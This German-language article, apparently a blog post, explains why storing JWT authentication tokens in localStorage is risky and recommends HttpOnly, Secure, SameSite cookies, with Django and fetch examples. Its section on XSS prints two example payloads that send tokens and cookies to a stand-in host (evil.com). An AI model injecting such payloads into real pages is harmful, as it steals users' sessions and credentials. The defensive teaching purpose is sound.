Verzichten Sie auf die Verwendung von localStorage für Authentifizierungstoken: Ein tiefer Einblick in die Sicherheit
Warum das Speichern von JWTs in localStorage eine Sicherheitslücke darstellt, wie XSS-Angriffe diese ausnutzen und wie man Authentifizierungstoken in modernen Webanwendungen korrekt handhabt.
Das Problem, das alle ignorieren
Schau dir irgendein Next.js- oder React-Tutorial zur JWT-Authentifizierung an. In 90 % davon wird dir Folgendes gezeigt:
// TUN SIE DAS
NICHTconst login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- SICHERHEITSLÜCKE
};Es handelt sich um eine Cross-Site-Scripting-Sicherheitslücke (XSS). Jedes auf Ihrer Seite ausgeführte JavaScript kann auf „localStorage“ zugreifen. Wenn ein Angreifer auch nur eine einzige Zeile JavaScript einschleust (über ein Skript eines Drittanbieters, einen npm-Supply-Chain-Angriff oder eine nicht maskierte Benutzereingabe), kann er die Authentifizierungstoken aller Benutzer stehlen.
Wie XSS „localStorage“-Token stiehlt
Ein Angreifer muss Ihren Server nicht hacken. Er muss lediglich JavaScript auf Ihrer Seite ausführen:
// Nutzlast des Angreifers (über das Kommentarfeld, ein Anzeigenskript usw. eingeschleust)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// Oder sie exfiltrieren Daten über
fetchfetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Häufige XSS-Angriffsvektoren: nicht entflohe „dangerouslySetInnerHTML“-Befehle, kompromittierte npm-Pakete, Analyseskripte oder Chat-Skripte von Drittanbietern sowie benutzergenerierte Inhalte, die als HTML dargestellt werden.
Der richtige Ansatz: HttpOnly-Cookies
Speichern Sie Tokens in HttpOnly-, Secure- und SameSite-Cookies. JavaScript kann HttpOnly-Cookies nicht auslesen – sie werden vom Browser automatisch mit jeder Anfrage gesendet.
# Django-Backend: Token als
HttpOnly-Cookie setzen from django.http import JsonResponse
def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly: JavaScript kann es nicht lesen (XSS-sicher)
# Secure: wird nur über HTTPS gesendet
# SameSite=Lax: verhindert CSRF bei den meisten Anfragen
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 Minuten
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 Tage
path='/api/auth/refresh/', # wird nur an den Refresh-Endpunkt gesendet
)
return responseFrontend: Keine Token-Verwaltung erforderlich
Bei HttpOnly-Cookies greift das Frontend überhaupt nicht auf die Tokens zu. Der Browser übernimmt die gesamte Abwicklung:
// Frontend: Cookies werden automatisch
gesendetconst getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // Cookies einbeziehen
});
return res.json();
};
// Kein localStorage, keine Token-Auswertung, keine
Authentifizierungs-Header// Der Browser sendet das HttpOnly-Cookie automatischVergleich: localStorage vs. HttpOnly-Cookies
| Angriffsvektor | localStorage | HttpOnly-Cookie |
|---|---|---|
| XSS (Skript-Injektion) | Token gestohlen | Token-Sicherung (JS kann nicht lesen) |
| CSRF (Cross-Site-Request-Forgery) | Sicher (wird nicht automatisch versendet) | Geschützt durch SameSite=Lax |
| npm-Lieferkettenangriff | Token gestohlen | Token-Safe |
| Zugriff auf Browser-Erweiterungen | Token lesbar | Token ausgeblendet |
| Netzwerk-Sniffing | Wenn im Header gesendet: sichtbar | Sicherheitsflag: Nur HTTPS |
Was ist mit CSRF?
Das häufigste Argument für localStorage lautet: „Cookies sind anfällig für CSRF.“ Das traf vor zehn Jahren zu. Moderne Browser unterstützen „SameSite=Lax“, wodurch die Übermittlung von Cookies bei domänenübergreifenden Anfragen blockiert wird. In Kombination mit Djangos CSRF-Middleware für zustandsändernde Anfragen wird CSRF damit praktisch ausgeschlossen.
Verwenden Sie zur zusätzlichen Sicherheit das „Double-Submit“-Cookie-Muster: Der Server setzt ein CSRF-Token-Cookie, das nicht als „HttpOnly“ gekennzeichnet ist, das Frontend liest dieses Cookie aus und sendet es als Header, und der Server überprüft, ob beide übereinstimmen.
Fazit
Wenn Sie im Jahr 2026 eine Authentifizierung implementieren, sollten Sie HttpOnly-Cookies verwenden. Die Angriffsfläche für XSS-Angriffe bei localStorage ist zu groß, insbesondere bei modernen Apps, die Dutzende von Skripten von Drittanbietern laden. Die Sitzungen Ihrer Nutzer hängen davon ab.
Sicherheit ist keine Funktion, die man nachträglich hinzufügt. Die Entscheidung zwischen „localStorage“- und „HttpOnly“-Cookies macht den Unterschied zwischen „Wir wurden gehackt“ und „Der Angriff wurde abgewehrt“.
— OWASP-Spickzettel zur Authentifizierung
